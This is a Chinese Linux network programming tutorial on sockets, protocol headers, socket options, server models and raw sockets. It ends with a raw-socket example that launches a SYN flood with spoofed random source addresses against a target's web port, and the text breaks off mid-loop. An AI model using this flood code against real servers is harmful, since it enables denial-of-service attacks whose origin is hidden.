原文地址：https://blog.csdn.net/u011545382/article/details/80348333

**1. Linux网络知识介绍**

**1.1 客户端程序和服务端程序**网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服务器端.

网络程序是先有服务器程序启动,等待客户端的程序运行并建立连接.一般的来说是服务端的程序 在一个端口上监听,直到有一个客户端的程序发来了请求.

**1.2 常用的命令**netstat   
 命令netstat是用来显示网络的连接,路由表和接口统计等网络的信息.netstat有许多的选项 我们常用的选项是 -an 用来显示详细的网络状态.

telnet   
 telnet是一个用来远程控制的程序,但是我们完全可以用这个程序来调试我们的服务端程序的. 比如我们的服务器程序在监听8888端口,我们可以用telnet localhost 8888来查看服务端的状况.

**1.3 TCP/UDP介绍**TCP(Transfer Control Protocol)传输控制协议是一种面向连接的协议

UDP(User Datagram Protocol)用户数据报协议是一种非面向连接的协议,这种协议并不能保证我们 的网络程序的连接是可靠的

**2. 初等网络函数介绍（TCP）**  
Linux 系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几个函数的调用,会返回一个 通讯的文件描述符,我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的 好处.我们可以通过向描述符读写操作实现网络之间的数据交流.

**2.1 socket**   
int socket(int domain, int type,int protocol)

domain: 说明我们网络程序所在的主机采用的通讯协族(AF\_UNIX和AF\_INET等). AF\_UNIX只能够用于单一的Unix系统进程间通信,

AF\_INET是针对Internet的,因而可以允许在远程 主机之间通信

type:我们网络程序所采用的通讯协议(SOCK\_STREAM, SOCK\_DGRAM等)

SOCK\_STREAM表明我们用的是TCP协议,

SOCK\_DGRAM 表明我们用的是UDP协议

protocol:由于我们指定了type,所以这个地方我们一般只要用0来代替就可以了

成功时返回文件描述符,失败时返回-1,看errno可知道出错的详细情况.

**2.2 bind**   
int bind(int sockfd, struct sockaddr \*my\_addr, int addrlen)

sockfd: 是由socket调用返回的文件描述符.

addrlen: 是sockaddr结构的长度.

my\_addr: 是一个指向sockaddr的指针. 在中有 sockaddr的定义

struct sockaddr{

unisgned short as\_family;

char sa\_data[14];

};

不过由于系统的兼容性,我们一般不用这个头文件,而使用另外一个结构(struct sockaddr\_in) 来代替.在中有sockaddr\_in的定义   
 struct sockaddr\_in{

unsigned short sin\_family;

unsigned short int sin\_port;

struct in\_addr sin\_addr;

unsigned char sin\_zero[8];

sin\_family：我们主要使用Internet所以，一般为AF\_INET

sin\_addr：设置为INADDR\_ANY表示绑定在任意地址上

sin\_port：是我们要监听的端口号.

sin\_zero[8]：是用来填充的.

bind将本地的端口同socket返回的文件描述符捆绑在一起.成功是返回0,失败时返回-1

**2.3 listen**  
int listen(int sockfd,int backlog)

sockfd：是bind后的文件描述符.

backlog：设置请求排队的最大长度.

listen函数将bind的文件描述符变为监听套接字.返回的情况和bind一样.

**2.4 accept**   
int accept(int sockfd, struct sockaddr \*addr,int \*addrlen)

sockfd：是listen后的文件描述符.

addr：已连接服务器的客户端的 sockaddr ，由函数填充该结构内容

addrlen：addr的长度.

bind,listen和accept是服务器端用的函数

accept调用时,服务器端的程序会一直阻塞到有客户程序连接到服务器. accept成功时返回和客户端连接的的socket描述符,这个时候服务器端可以向该描述符写信息了. 失败时返回-1

**2.5 connect**   
int connect(int sockfd, struct sockaddr \* serv\_addr,int addrlen)

sockfd：socket返回的文件描述符.

serv\_addr：储存了服务器端的sockaddr.其中sin\_add是服务端的地址

addrlen：serv\_addr的长度

connect函数是客户端用来同服务端连接的.成功时返回0,sockfd是同服务端通讯的文件描述符 失败时返回-1.

**2.7 总结**   
总的来说网络程序是由两个部分组成的--客户端和服务器端.它们的建立步骤一般是:

服务器端   
socket-->bind-->listen-->accept

客户端   
socket-->connect   
  
**3. 服务器和客户机的信息函数**这一章我们来学习转换和网络方面的信息函数.

**3.1 字节转换函数**  
在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反.

Linux下面,有专门的字节转换函数.

unsigned long int htonl(unsigned long int hostlong)   
unsigned short int htons(unisgned short int hostshort)   
unsigned long int ntohl(unsigned long int netlong)   
unsigned short int ntohs(unsigned short int netshort)

在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long 第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多.

**3.2 IP和域名的转换**  
在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢?

struct hostent \*gethostbyname(const char \*hostname)   
struct hostent \*gethostbyaddr(const char \*addr,int len,int type)   
 struct hostent的定义   
 struct hostent{

char \*h\_name; /\* 主机的正式名称 \*/   
 char \*h\_aliases; /\* 主机的别名 \*/   
 int h\_addrtype; /\* 主机的地址类型 AF\_INET\*/   
 int h\_length; /\* 主机的地址长度 对于IP4 是4字节32位\*/   
 char \*\*h\_addr\_list; /\* 主机的IP地址列表 \*/   
 }   
gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息   
gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针.

这两个函数失败时返回NULL 且设置h\_errno错误变量,调用h\_strerror()可以得到详细的出错信息

**3.3 字符串的IP和32位的IP转换.**在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in\_addr结构中用的是32位的IP

int inet\_aton(const char \*cp,struct in\_addr \*inp)   
char \*inet\_ntoa(struct in\_addr in)

第一个函数表示将a.b.c.d的IP转换为32位的IP, 存储在 inp指针里面.

第二个是将32位IP转换为a.b.c.d的格式.

**3.4 服务信息函数**在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几个函数

int getsockname(int sockfd,struct sockaddr \*localaddr,int \*addrlen)   
int getpeername(int sockfd,struct sockaddr \*peeraddr, int \*addrlen)   
struct servent \*getservbyname(const char \*servname,const char \*protoname)   
struct servent \*getservbyport(int port,const char \*protoname)   
struct servent   
{   
char \*s\_name; /\* 正式服务名 \*/   
char \*\*s\_aliases; /\* 别名列表 \*/   
int s\_port; /\* 端口号 \*/   
char \*s\_proto; /\* 使用的协议 \*/   
}

一般我们很少用这几个函数

在网络上有许多的默认端口和服务,比如端口21对ftp，80对应WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数.

**3.5 一个例子**

#include <stdlib.h>

#include <stdio.h>

#include <errno.h>

#include <string.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <arpa/inet.h>

int main(int argc, char \*\*argv)

{

    struct sockaddr\_in addr;

    struct hostent \*host;

char \*\*alias;

    if (argc < 2)

    {

        fprintf(stderr, "Usage:%s hostname|ip..\n\a", argv[0]);

        exit(1);

}

    argv++;

    for (; \*argv != NULL; argv++)

    {

        /\* 这里我们假设是IP\*/

        if (inet\_aton(\*argv, &addr.sin\_addr) != 0)

        {

            host = gethostbyaddr((char \*)&addr.sin\_addr, 4, AF\_INET);

            printf("Address information of Ip %s\n", \*argv);

        }

        else

        {

            /\* 失败,难道是域名?\*/

            host = gethostbyname(\*argv); printf("Address information

                      of host %s\n",\*argv);

        }

        if (host == NULL)

        {

            /\* 都不是 ,算了不找了\*/

            fprintf(stderr, "No address information of %s\n", \*argv);

            continue;

        }

        printf("Official host name %s\n", host->h\_name);

        printf("Name aliases:");

        for (alias = host->h\_aliases; \*alias != NULL; alias++)

            printf("%s ,", \*alias);

        printf("\nIp address:");

        for (alias = host->h\_addr\_list; \*alias != NULL; alias++)

            printf("%s ,", inet\_ntoa(\*(struct in\_addr \*)(\*alias)));

    }

}

在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet\_aton, 失败的时候,再调用gethostbyname而得到信息.

**4. 完整的读写函数**   
一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.

**4.1 写函数write**

ssize\_t write(int fd,const void \*buf,size\_t nbytes)

write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能.

1)write的返回值大于0,表示写了部分或者是全部的数据.

2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理.

如果错误为EINTR表示在写的时候出现了中断错误.

如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接).

为了处理以上的情况,我们自己编写一个写函数来处理这几种情况.

int my\_write(int fd, void \*buffer, int length)

{

    int bytes\_left;

    int written\_bytes;

    char \*ptr;

    ptr = buffer;

    bytes\_left = length;

    while (bytes\_left > 0)

    {

        /\* 开始写\*/

        written\_bytes = write(fd, ptr, bytes\_left);

        if (written\_bytes <= 0) /\* 出错了\*/

        {

            if (errno == EINTR) /\* 中断错误 我们继续写\*/written\_bytes = 0;

            else /\* 其他错误 没有办法,只好撤退了\*/return (-1);

        }

        bytes\_left -= written\_bytes;

        ptr += written\_bytes; /\* 从剩下的地方继续写 \*/

    }

    return (0);

}

**4.2 读函数read**  
ssize\_t read(int fd,void \*buf,size\_t nbyte) read函数是负责从fd中读取内容.当读成功时,read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.如果错误为EINTR说明读是由中断引起的, 如果是ECONNREST表示网络连接出了问题.

**4.3 数据的传递**有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式

/\* 客户端向服务端写 \*/

struct my\_struct my\_struct\_client;   
write(fd,(void \*)&my\_struct\_client,sizeof(struct my\_struct);

/\* 服务端的读\*/   
char buffer[sizeof(struct my\_struct)];   
struct \*my\_struct\_server;   
read(fd,(void \*)buffer,sizeof(struct my\_struct));   
my\_struct\_server=(struct my\_struct \*)buffer;

在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的

**5. 用户数据报发送**   
这一章,我们简单的学习一下基于UDP协议的网络程序.

5.1 两个常用的函数

int recvfrom(int sockfd,void \*buf,int len,unsigned int flags,struct sockaddr \* from int \*fromlen)   
int sendto(int sockfd,const void \*msg,int len,unsigned int flags,struct sockaddr \*to int tolen)

sockfd, buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小.

recvfrom负责从sockfd接收数据,如果 from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将from和fromlen设置为 NULL.

sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料.

**6. 高级套接字函数**   
在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.

**6.1 recv和send**recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制读写操作.

int recv(int sockfd,void \*buf,int len,int flags)   
int send(int sockfd,void \*buf,int len,int flags)

前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合   
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_   
| MSG\_DONTROUTE | 不查找路由表 |   
| MSG\_OOB | 接受或者发送带外数据 |   
| MSG\_PEEK | 查看数据,并不从系统缓冲区移走数据 |   
| MSG\_WAITALL | 等待所有数据 |   
|--------------------------------------------------------------|

MSG\_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面.   
 MSG\_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的.

MSG\_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志.

MSG\_WAITALL 是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满足,或者是发生了错误.

1. 当读到了指定的字节时,函数正常返回.返回值等于len
2. 当读到了文件的结尾时,函数正常返回.返回值小于len
3. 当操作发生错误时,返回-1,且设置错误为相应的错误号(errno)

flags：为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很少,可以查看 Linux Programmers Manual得到详细解释.

**6.2 recvfrom和sendto**这两个函数一般用在UDP中,我们已经在前面学会了.

**6.3 recvmsg和sendmsg**recvmsg和sendmsg可以实现前面所有的读写函数的功能.

int recvmsg(int sockfd,struct msghdr \*msg,int flags)   
int sendmsg(int sockfd,struct msghdr \*msg,int flags)

struct msghdr   
{   
void \*msg\_name;   
int msg\_namelen;   
struct iovec \*msg\_iov;   
int msg\_iovlen;   
void \*msg\_control;   
int msg\_controllen;   
int msg\_flags;   
}

struct iovec   
{   
void \*iov\_base; /\* 缓冲区开始的地址 \*/   
size\_t iov\_len; /\* 缓冲区的长度 \*/   
}

msg\_name 和 msg\_namelen：当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.msg\_name实际上是一个指向struct sockaddr的指针,msg\_name是结构的长度.当套接字是面向连接时,这两个值应设为NULL.

msg\_iov和msg\_iovlen：指出接受和发送的缓冲区内容.msg\_iov是一个结构指针,msg\_iovlen指出这个结构数组的大小.

msg\_control和msg\_controllen：这两个变量是用来接收和发送控制数据时的 msg\_flags指定接受和发送的操作选项.和recv,send的选项一样 

**6.4 套接字的关闭**  
关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样.

**6.5 shutdown**

int shutdown(int sockfd,int howto)

TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用shutdown.针对不同的howto,系统回采取不同的关闭方式.   
howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写.

howto=1关闭写通道,和上面相反,着时候就只可以读了.

howto=2关闭读写通道,和close一样

在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符.

**7. TCP/IP协议**   
你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.

**7.1 网络传输分层**   
在网络上,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用 层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要管数据传输的细节.

**7.2 IP协议**  
IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面我们看一看IP的结构定义

struct ip

{

#if \_\_BYTE\_ORDER == \_\_LITTLE\_ENDIAN

    unsigned int ip\_hl : 4; /\* header length \*/

    unsigned int ip\_v : 4;  /\* version \*/

#endif

#if \_\_BYTE\_ORDER == \_\_BIG\_ENDIAN

    unsigned int ip\_v : 4;  /\* version \*/

    unsigned int ip\_hl : 4; /\* header length \*/

#endif

    u\_int8\_t ip\_tos; /\* type of service \*/

    u\_short ip\_len;  /\* total length \*/

    u\_short ip\_id;   /\* identification \*/

    u\_short ip\_off;  /\* fragment offset field \*/

#define IP\_RF 0x8000               /\* reserved fragment flag \*/

#define IP\_DF 0x4000               /\* dont fragment flag \*/

#define IP\_MF 0x2000               /\* more fragments flag \*/

#define IP\_OFFMASK 0x1fff          /\* mask for fragmenting bits \*/

    u\_int8\_t ip\_ttl;               /\* time to live \*/

    u\_int8\_t ip\_p;                 /\* protocol \*/

    u\_short ip\_sum;                /\* checksum \*/

    struct in\_addr ip\_src, ip\_dst; /\* source and dest address \*/

};

ip\_vIP协议的版本号,这里是4,现在IPV6已经出来了

ip\_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5.

ip\_tos服务类型,说明提供的优先权.

ip\_len说明IP数据的长度.以字节为单位.

ip\_id标识这个IP数据包.

ip\_off碎片偏移,这和上面ID一起用来重组碎片的.

ip\_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃.

ip\_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议.

ip\_sum首部校验和,提供对首部数据的校验.

ip\_src,ip\_dst发送者和接收者的IP地址

关于IP协议的详细情况,请参考 RFC791

**7.3 ICMP协议**   
ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误.

ICMP包的结构如下:

0 8 16 32   
---------------------------------------------------------------------   
| 类型 | 代码 | 校验和 |   
--------------------------------------------------------------------   
| 数据 | 数据 |   
--------------------------------------------------------------------

ICMP在中的定义是

struct icmphdr

{

    u\_int8\_t type; /\* message type \*/

    u\_int8\_t code; /\* type sub-code \*/

    u\_int16\_t checksum;

    union

    {

        struct

        {

            u\_int16\_t id;

            u\_int16\_t sequence;

        }

        echo;              /\* echo datagram \*/

        u\_int32\_t gateway; /\* gateway address \*/

        struct

        {

            u\_int16\_t \_\_unused;

            u\_int16\_t mtu;

        }

        frag; /\* path mtu discovery \*/

    }

    un;

};

**7.4 UDP协议**   
UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数据报服务.UDP的头格式为:  
0 16 32   
---------------------------------------------------   
| UDP源端口 | UDP目的端口 |   
---------------------------------------------------   
| UDP数据报长度 | UDP数据报校验 |   
---------------------------------------------------

UDP结构在中的定义为:   
struct udphdr {   
u\_int16\_t source;   
u\_int16\_t dest;   
u\_int16\_t len;   
u\_int16\_t check;   
};

关于UDP协议的详细情况,请参考 RFC768 

**7.5 TCP**   
TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的. TCP的结构在中定义为:   
struct tcphdr   
{   
u\_int16\_t source;   
u\_int16\_t dest;   
u\_int32\_t seq;   
u\_int32\_t ack\_seq;   
#if \_\_BYTE\_ORDER == \_\_LITTLE\_ENDIAN   
u\_int16\_t res1:4;   
u\_int16\_t doff:4;   
u\_int16\_t fin:1;   
u\_int16\_t syn:1;   
u\_int16\_t rst:1;   
u\_int16\_t psh:1;   
u\_int16\_t ack:1;   
u\_int16\_t urg:1;   
u\_int16\_t res2:2;   
#elif \_\_BYTE\_ORDER == \_\_BIG\_ENDIAN   
u\_int16\_t doff:4;   
u\_int16\_t res1:4;   
u\_int16\_t res2:2;   
u\_int16\_t urg:1;   
u\_int16\_t ack:1;   
u\_int16\_t psh:1;   
u\_int16\_t rst:1;   
u\_int16\_t syn:1;   
u\_int16\_t fin:1;   
#endif   
u\_int16\_t window;   
u\_int16\_t check;   
u\_int16\_t urg\_prt;   
};

source发送TCP数据的源端口   
dest接受TCP数据的目的端口

seq标识该TCP所包含的数据字节的开始序列号

ack\_seq确认序列号,表示接受方下一次接受的数据序列号.

doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5

urg如果设置紧急数据指针,则该位为1

ack如果确认号正确,那么为1

psh如果设置为1,那么接收方收到数据后,立即交给上一层程序

rst为1的时候,表示请求重新连接

syn为1的时候,表示请求建立连接

fin为1的时候,表示亲戚关闭连接

window窗口,告诉接收者可以接收的大小

check对TCP数据进行较核

urg\_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值

关于TCP协议的详细情况,请查看 RFC793

**8. 套接字选项**有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.

**8.1 getsockopt和setsockopt**

int getsockopt(int sockfd,int level,int optname,void \*optval,socklen\_t \*optlen)   
int setsockopt(int sockfd,int level,int optname,const void \*optval,socklen\_t \*optlen)

level指定控制套接字的层次.可以取三种值:

1. SOL\_SOCKET:通用套接字选项.
2. IPPROTO\_IP:IP选项.
3. IPPROTO\_TCP:TCP选项.   
   optname指定控制的方式(选项的名称),我们下面详细解释

optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换

选项名称 说明 数据类型   
========================================================================   
SOL\_SOCKET   
------------------------------------------------------------------------   
SO\_BROADCAST 允许发送广播数据 int   
SO\_DEBUG 允许调试 int   
SO\_DONTROUTE 不查找路由 int   
SO\_ERROR 获得套接字错误 int   
SO\_KEEPALIVE 保持连接 int   
SO\_LINGER 延迟关闭连接 struct linger   
SO\_OOBINLINE 带外数据放入正常数据流 int   
SO\_RCVBUF 接收缓冲区大小 int   
SO\_SNDBUF 发送缓冲区大小 int   
SO\_RCVLOWAT 接收缓冲区下限 int   
SO\_SNDLOWAT 发送缓冲区下限 int   
SO\_RCVTIMEO 接收超时 struct timeval   
SO\_SNDTIMEO 发送超时 struct timeval   
SO\_REUSERADDR 允许重用本地地址和端口 int   
SO\_TYPE 获得套接字类型 int   
SO\_BSDCOMPAT 与BSD系统兼容 int   
==========================================================================   
IPPROTO\_IP   
--------------------------------------------------------------------------   
IP\_HDRINCL 在数据包中包含IP首部 int   
IP\_OPTINOS IP首部选项 int   
IP\_TOS 服务类型   
IP\_TTL 生存时间 int   
==========================================================================   
IPPRO\_TCP   
--------------------------------------------------------------------------   
TCP\_MAXSEG TCP最大数据段的大小 int   
TCP\_NODELAY 不使用Nagle算法 int   
=========================================================================

关于这些选项的详细情况请查看 Linux Programmers Manual

**8.2 ioctl**  
ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.

int ioctl(int fd,int req,...)

==========================================================================   
ioctl的控制选项   
--------------------------------------------------------------------------   
SIOCATMARK 是否到达带外标记 int   
FIOASYNC 异步输入/输出标志 int   
FIONREAD 缓冲区可读的字节数 int

详细的选项请用 man ioctl\_list 查看.

**9. 服务器模型**   
我们学习一下目前最常用的服务器模型.

循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求

**9.1 循环服务器:UDP服务器**  
UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.

可以用下面的算法来实现.

socket(...);

bind(...);

while(1)

{

    recvfrom(...);

    process(...);

    sendto(...);

}

因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足. 

**9.2 循环服务器:TCP服务器**TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下:

socket(...);

bind(...);

listen(...);

while(1)

{

    accept(...);

    while(1)

    {

        read(...);

        process(...);

        write(...);

    }

    close(...);

}

TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.

**9.3 并发服务器:TCP服务器**为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.

算法如下:

socket(...);

bind(...);

listen(...);

while(1)

{

    accept(...);

    if(fork(..)==0)

    {

        while(1)

        {

            read(...);

            process(...);

            write(...);

        }

        close(...);

        exit(...);

    }

    close(...);

}

TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

**9.4 并发服务器:多路复用I/O**为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.

首先介绍一个函数select

int select(int nfds,fd\_set \*readfds,fd\_set \*writefds, fd\_set \*except fds,struct timeval \*timeout)   
void FD\_SET(int fd,fd\_set \*fdset)   
void FD\_CLR(int fd,fd\_set \*fdset)   
void FD\_ZERO(fd\_set \*fdset)   
int FD\_ISSET(int fd,fd\_set \*fdset)

一 般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了.

readfds所有要读的文件文件描述符的集合   
 writefds所有要的写文件文件描述符的集合

exceptfds其他的服要向我们通知的文件描述符

timeout超时设置.

nfds所有我们监控的文件描述符中最大的那一个加1

在我们调用select时进程会一直阻塞直到以下的一种情况发生.

1. 有文件可以读.
2. 有文件可以写.
3. 超时所设置的时间到.

为了设置文件描述符我们要使用几个宏.

FD\_SET将fd加入到fdset

FD\_CLR将fd从fdset里面清除

FD\_ZERO从fdset中清除所有的文件描述符

FD\_ISSET判断fd是否在fdset集合中

多路复用I/O可以解决资源限制的问题.模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.

**9.5 并发服务器:UDP服务器**和并发的TCP服务器模型一样是创建一个子进程来处理的算法和并发的TCP模型一样.

除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.

**10. 原始套接字**   
我 们在前面已经学习过了网络程序的两种套接字(SOCK\_STREAM,SOCK\_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK\_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.

**10.1 原始套接字的创建**

int sockfd(AF\_INET,SOCK\_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO\_ICMP,IPPROTO\_TCP,IPPROTO\_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

**10.2 一个原始套接字的实例**还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* DOS.c \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <stdio.h>

#include <netdb.h>

#define DESTPORT 80 /\* 要攻击的端口(WEB) \*/

#define LOCALPORT 8888

void send\_tcp(int sockfd, struct sockaddr\_in \*addr);

unsigned short check\_sum(unsigned short \*addr, int len);

int main(int argc, char \*\*argv)

{

    int sockfd;

    struct sockaddr\_in addr;

    struct hostent \*host;

    int on = 1;

    if (argc != 2)

    {

        fprintf(stderr, "Usage:%s hostname/n/a", argv[0]);

        exit(1);

    }

    bzero(&addr, sizeof(struct sockaddr\_in));

    addr.sin\_family = AF\_INET;

    addr.sin\_port = htons(DESTPORT);

    if (inet\_aton(argv[1], &addr.sin\_addr) == 0)

    {

        host = gethostbyname(argv[1]);

        if (host == NULL)

        {

            fprintf(stderr, "HostName Error:%s/n/a", hstrerror(h\_errno));

            exit(1);

        }

        addr.sin\_addr = \*(struct in\_addr \*)(host->h\_addr\_list[0]);

    }

    /\*\*\*\* 使用IPPROTO\_TCP创建一个TCP的原始套接字 \*\*\*\*/

    sockfd = socket(AF\_INET, SOCK\_RAW, IPPROTO\_TCP);

    if (sockfd < 0)

    {

        fprintf(stderr, "Socket Error:%s/n/a", strerror(errno));

        exit(1);

    }

    /\*\*\*\*\*\*\*\* 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 \*\*\*/

    setsockopt(sockfd, IPPROTO\_IP, IP\_HDRINCL, &on, sizeof(on));

    /\*\*\*\* 没有办法,只用超级护用户才可以使用原始套接字 \*\*\*\*\*\*\*\*\*/

    setuid(getpid());

    /\*\*\*\*\*\*\*\*\* 发送炸弹了!!!! \*\*\*\*/

    send\_tcp(sockfd, &addr);

}

/\*\*\*\*\*\*\* 发送炸弹的实现 \*\*\*\*\*\*\*\*\*/

void send\_tcp(int sockfd, struct sockaddr\_in \*addr)

{

    char buffer[100]; /\*\*\*\* 用来放置我们的数据包 \*\*\*\*/

    struct ip \*ip;

    struct tcphdr \*tcp;

    int head\_len;

    /\*\*\*\*\*\*\* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 \*\*\*/

    head\_len = sizeof(struct ip) + sizeof(struct tcphdr);

    bzero(buffer, 100);

    /\*\*\*\*\*\*\*\* 填充IP数据包的头部,还记得IP的头格式吗? \*\*\*\*\*\*/

    ip = (struct ip \*)buffer;

    ip->ip\_v = IPVERSION;               /\*\* 版本一般的是 4 \*\*/

    ip->ip\_hl = sizeof(struct ip) >> 2; /\*\* IP数据包的头部长度 \*\*/

    ip->ip\_tos = 0;                     /\*\* 服务类型 \*\*/

    ip->ip\_len = htons(head\_len);       /\*\* IP数据包的长度 \*\*/

    ip->ip\_id = 0;                      /\*\* 让系统去填写吧 \*\*/

    ip->ip\_off = 0;                     /\*\* 和上面一样,省点时间 \*\*/

    ip->ip\_ttl = MAXTTL;                /\*\* 最长的时间 255 \*\*/

    ip->ip\_p = IPPROTO\_TCP;             /\*\* 我们要发的是 TCP包 \*\*/

    ip->ip\_sum = 0;                     /\*\* 校验和让系统去做 \*\*/

    ip->ip\_dst = addr->sin\_addr;        /\*\* 我们攻击的对象 \*\*/

    /\*\*\*\*\*\*\* 开始填写TCP数据包 \*\*\*\*\*/

    tcp = (struct tcphdr \*)(buffer + sizeof(struct ip));

    tcp->source = htons(LOCALPORT);

    tcp->dest = addr->sin\_port; /\*\* 目的端口 \*\*/

    tcp->seq = random();

    tcp->ack\_seq = 0;

    tcp->doff = 5;

    tcp->syn = 1; /\*\* 我要建立连接 \*\*/

    tcp->check = 0;

    /\*\* 好了,一切都准备好了.服务器,你准备好了没有?? ^\_^ \*\*/

    while (1)

    {

        /\*\* 你不知道我是从那里来的,慢慢的去等吧! \*\*/

        ip->ip\_src.s\_addr = random();

        /\*\* 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 \*/

        /\*\* 下面这条可有可无 \*/

        tcp->check = check\_sum((unsigned short \*)tcp,

